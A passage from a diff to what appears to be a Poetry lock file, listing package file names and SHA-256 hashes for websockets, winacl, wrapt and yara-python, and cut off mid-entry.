"websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"}, + {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"}, + {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"}, + {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"}, + {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"}, + {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"}, + {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"}, + {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"}, + {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"}, + {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"}, + {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"}, + {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"}, + {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"}, + {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"}, +] + +[[package]] +name = "winacl" +version = "0.1.7" +description = "ACL/ACE/Security Descriptor manipulation library in pure Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"}, + {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"}, +] + +[package.dependencies] +cryptography = ">=38.0.1" + +[[package]] +name = "wrapt" +version = "1.15.0" +description = "Module for decorators, wrappers and monkey patching." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"}, + {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"}, + {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"}, + {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"}, + {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"}, + {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"}, + {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"}, + {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"}, + {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"}, + {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"}, + {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"}, + {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"}, + {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"}, + {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"}, + {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"}, + {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"}, + {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"}, + {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"}, + {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"}, +] + +[[package]] +name = "yara-python" +version = "4.3.1" +description = "Python interface for YARA" +optional = false +python-versions = "*" +files = [ + {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"}, + {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"}, + {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"}, + {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"}, + {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"}, + {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"}, + {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = 